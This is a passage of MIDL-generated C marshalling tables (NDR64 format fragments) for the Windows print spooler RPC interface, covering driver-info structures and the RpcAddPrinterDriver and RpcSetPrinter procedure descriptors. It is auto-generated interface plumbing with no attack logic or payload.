*/,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag234_t __midl_frag234 =\n{ \n/* *RPC_DRIVER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag235\n};\n\nstatic const __midl_frag233_t __midl_frag233 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag268\n    }\n};\n\nstatic const __midl_frag218_t __midl_frag218 =\n{ \n/* RPC_DRIVER_INFO_4 */\n    { \n    /* RPC_DRIVER_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        0,\n        0,\n        &__midl_frag233,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag217_t __midl_frag217 =\n{ \n/* *RPC_DRIVER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag218\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    }\n};\n\nstatic const __midl_frag204_t __midl_frag204 =\n{ \n/* RPC_DRIVER_INFO_3 */\n    { \n    /* RPC_DRIVER_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag216,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag203_t __midl_frag203 =\n{ \n/* *RPC_DRIVER_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag204\n};\n\nstatic const __midl_frag202_t __midl_frag202 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/* DRIVER_INFO_2 */\n    { \n    /* DRIVER_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        0,\n        0,\n        &__midl_frag202,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag195_t __midl_frag195 =\n{ \n/* *DRIVER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag196\n};\n\nstatic const __midl_frag190_t __midl_frag190 =\n{ \n/* __MIDL_winspool_0004 */\n    { \n    /* __MIDL_winspool_0004 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag599,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag195,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag203,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag217,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag234,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag255,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag189_t __midl_frag189 =\n{ \n/* DRIVER_CONTAINER */\n    { \n    /* DRIVER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag190\n        },\n        { \n        /* DRIVER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag185_t __midl_frag185 =\n{ \n/* RpcAddPrinterDriver */\n    { \n    /* RpcAddPrinterDriver */      /* procedure RpcAddPrinterDriver */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDriverContainer */      /* parameter pDriverContainer */\n        &__midl_frag189,\n        { \n        /* pDriverContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag169_t __midl_frag169 =\n{ \n/* *PRINTER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag109\n};\n\nstatic const __midl_frag167_t __midl_frag167 =\n{ \n/* RpcSetPrinter */\n    { \n    /* RpcSetPrinter */      /* procedure RpcSetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag109,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n          